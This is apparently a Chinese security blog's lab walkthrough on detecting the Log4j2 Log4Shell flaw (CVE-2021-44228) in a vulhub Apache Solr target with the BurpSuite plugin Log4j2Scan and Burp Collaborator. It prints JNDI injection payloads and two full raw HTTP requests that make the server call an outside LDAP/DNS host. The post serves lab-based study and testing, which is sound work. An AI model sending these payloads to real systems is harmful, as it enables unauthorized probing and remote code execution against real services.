文章目录
- [1. 靶场简介](#1. 靶场简介)
- [2. 手动注入](#2. 手动注入)
- [3. BurpSuite 插件 Log4j2Scan](#3. BurpSuite 插件 Log4j2Scan)
-
- [3.1 官方信息](#3.1 官方信息)
- [3.2 使用步骤](#3.2 使用步骤)
- [3.3 手工验证](#3.3 手工验证)
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
1. 靶场简介
https://github.com/vulhub/vulhub
如下图,vulhub 提供了 2 个 log4j 组件相关的靶场,分别是 CVE-2017-5645 和 CVE-2021-44228 版本的。

CVE-2017-5645 在这个靶场中是 TCP 请求触发的,本文针对 log4j2 的 CVE-2021-44228 漏洞用插件演示攻击。
访问 http://{目标IP}:8983/solr/#/ 进入如下页面:

2. 手动注入
官方已经提供详细步骤,不再赘述。

3. BurpSuite 插件 Log4j2Scan
3.1 官方信息
官方仓库:https://github.com/whwlsfb/Log4j2Scan
下载地址:https://github.com/whwlsfb/Log4j2Scan/releases/tag/dev-20230804T025448
3.2 使用步骤
通过 ceye.io 注册,获取个人的 identifier 和 API Token。

在插件中同步配置并启用。

代理访问:http://靶机IP:8983,插件自动扫描检测该漏洞,可以看到2个路径均存在 log4j2 的注入漏洞。
URL 参数 _ 存在 Log4j2 远程代码执行(RCE)漏洞,检测发送的请求中包含了 JNDI 注入的 payload:${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

3.3 手工验证
使用 burpsuite 自带的 Collaborator 模块生成服务地址,接收 dns 信息。

构造/solr/admin/info/system请求,在_参数后面添加 payload:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test},编码后如下:
shell
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

burpsuite 也可以接收到 dnslog 。

请求/solr/admin/cores也同样可以构造 payload,请求也是成功的。
shell
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


PS:vulhub 这个靶场在 log4j2 发送多次 dns 请求时,有时可能由于网络或缓存原因会接收不到 DNS 请求;可以变化下 payload 或者通过命令重启下靶场即可
shell
docker compose restart
同类型的 BurpSuite 插件可以参考:FastjsonScan